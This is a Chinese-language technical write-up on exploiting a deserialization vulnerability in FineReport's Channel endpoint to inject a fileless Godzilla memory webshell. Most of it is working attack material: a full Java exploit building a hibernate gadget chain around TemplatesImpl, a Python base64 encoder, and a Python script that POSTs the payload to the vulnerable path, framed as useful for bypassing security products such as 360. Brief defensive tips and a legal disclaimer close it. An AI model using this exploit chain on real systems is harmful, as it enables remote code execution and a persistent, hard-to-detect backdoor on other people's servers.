帆软channel反序列化注入哥斯拉内存马
字数 1412 2025-08-23 18:31:17
帆软Channel反序列化注入哥斯拉内存马技术分析
前言
本文详细分析帆软(FineReport) Channel组件的反序列化漏洞利用过程,重点介绍如何通过该漏洞注入哥斯拉(Godzilla)内存马的技术实现。该技术在攻防演练中具有实际应用价值,特别是在绕过安全防护(如360)的场景下。
一、漏洞背景
帆软报表(FineReport)是一款企业级报表工具,其Channel组件存在反序列化漏洞,攻击者可通过构造恶意请求实现远程代码执行。
二、内存马生成
2.1 工具准备
使用Java Memshell Generator工具生成Tomcat Filter类型的内存马字节码文件。该工具可生成多种类型的内存马,此处选择Filter类型因其具有较好的隐蔽性和持久性。
2.2 代码分析
生成的.class文件需要进一步处理:
- 用IDEA打开.class文件,将其代码复制到.java文件中
- 继承
AbstractTranslet类(为使用TemplatesImpl类利用链) - 关键方法分析:
getBase64String():返回实现哥斯拉webshell的类getUrlPattern():返回Filter的有效路径getClassName():返回注入器类名
注意:原作者可能存在类名写反的情况,实际应用中需仔细核对。
三、反序列化利用EXP生成
3.1 依赖准备
需要引入帆软特定的依赖包:
fine-third-10.0.jar(必需)- 其他相关jar包(可选)
3.2 利用链选择
使用hibernate1反序列化利用链,但需注意帆软的包名与标准hibernate不同:
- 标准包名:
org.hibernate.* - 帆软包名:
com.fr.third.org.hibernate.*
3.3 EXP代码解析
完整EXP代码结构如下:
import com.fr.third.org.hibernate.engine.spi.TypedValue;
import com.fr.third.org.hibernate.type.ComponentType;
import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.reflect.ReflectionFactory;
import util.SerialUtil;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.zip.GZIPOutputStream;
public class hibernateFR {
public static void main(String[] args) throws Exception {
// 1. 准备TemplatesImpl对象
byte[] code = SerialUtil.getBytecodes();
TemplatesImpl obj = new TemplatesImpl();
SerialUtil.setFieldValue(obj, "_bytecodes", new byte[][]{code});
SerialUtil.setFieldValue(obj, "_name", "test");
SerialUtil.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 2. 构造PojoComponentTuplizer
Class clazz = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
Constructor constructor = Object.class.getDeclaredConstructor();
Permit.setAccessible(constructor);
Constructor pojoct = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, constructor);
Permit.setAccessible(pojoct);
Object pojoCT = pojoct.newInstance();
// 3. 设置Getter方法
Class clazz4 = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
Constructor constructor4 = clazz4.getDeclaredConstructor(Class.class, String.class, Method.class);
Object getter = constructor4.newInstance(obj.getClass(), "outputProperties", obj.getClass().getMethod("getOutputProperties"));
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
// 4. 设置ComponentType
Field f = clazz1.getDeclaredField("getters");
f.setAccessible(true);
f.set(pojoCT, getters);
Class clazz3 = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
Constructor constructor2 = Object.class.getDeclaredConstructor();
Permit.setAccessible(constructor2);
Constructor constructor3 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz3, constructor2);
ComponentType componentType = (ComponentType) constructor3.newInstance();
TypedValue typedValue = new TypedValue(componentType, null);
// 5. 最终组装
SerialUtil.setFieldValue(componentType, "componentTuplizer", pojoCT);
SerialUtil.setFieldValue(componentType, "propertySpan", 1);
HashMap<Object, String> map = new HashMap<>();
map.put(typedValue, "1jzz");
SerialUtil.setFieldValue(typedValue, "value", obj);
// 6. 序列化输出
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(new FileOutputStream("生成exp的文件路径"));
byte[] data = SerialUtil.serial(map).toByteArray();
gzipOutputStream.write(data);
gzipOutputStream.close();
}
}
3.4 关键步骤说明
-
TemplatesImpl对象构造:
- 设置
_bytecodes为内存马的字节码 - 设置
_name和_tfactory属性
- 设置
-
利用链构造:
- 通过反射创建
PojoComponentTuplizer实例 - 设置Getter方法指向
TemplatesImpl.getOutputProperties() - 构造
ComponentType并设置相关属性
- 通过反射创建
-
序列化处理:
- 使用GZIP压缩序列化数据
- 输出到文件
四、Payload生成与利用
4.1 Base64编码
使用Python脚本将生成的序列化文件进行Base64编码:
import base64
def encode_ser():
with open("shell", "rb") as f:
binary = f.read()
data = base64.b64encode(binary)
print(data)
if __name__ == '__main__':
encode_ser()
4.2 漏洞利用脚本
构造HTTP请求发送payload:
import base64
import requests
def cmd():
proxies = {
'http': 'http://127.0.0.1:8081',
'https': 'http://127.0.0.1:8081'
}
try:
burp0_url = "http://localhost:8080/webroot/decision/remote/design/channel"
burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}
b = b"生成payload字节码的base64编码"
burp0_data = base64.b64decode(b)
res = requests.post(burp0_url, headers=burp0_headers,
data=burp0_data, verify=False,
timeout=3, proxies=proxies)
except Exception as e:
print(e)
if __name__ == "__main__":
cmd()
五、连接内存马
成功利用后,可通过哥斯拉客户端连接注入的内存马。内存马具有以下特点:
- 无文件落地
- 驻留在内存中
- 通过Filter机制实现请求拦截
- 隐蔽性强,难以被传统防护设备检测
六、防御建议
- 升级帆软到最新版本
- 限制
/webroot/decision/remote/design/channel的访问权限 - 部署RASP防护
- 监控异常的内存马特征
- 关闭不必要的反序列化功能
七、参考资源
- Java反序列化漏洞原理
- 内存马技术分析
- 帆软官方安全公告
- 哥斯拉webshell工作原理
以上为帆软Channel反序列化注入哥斯拉内存马的完整技术分析,包含了从漏洞利用到防御的完整链条。实际应用中请遵守法律法规,仅在授权测试中使用该技术。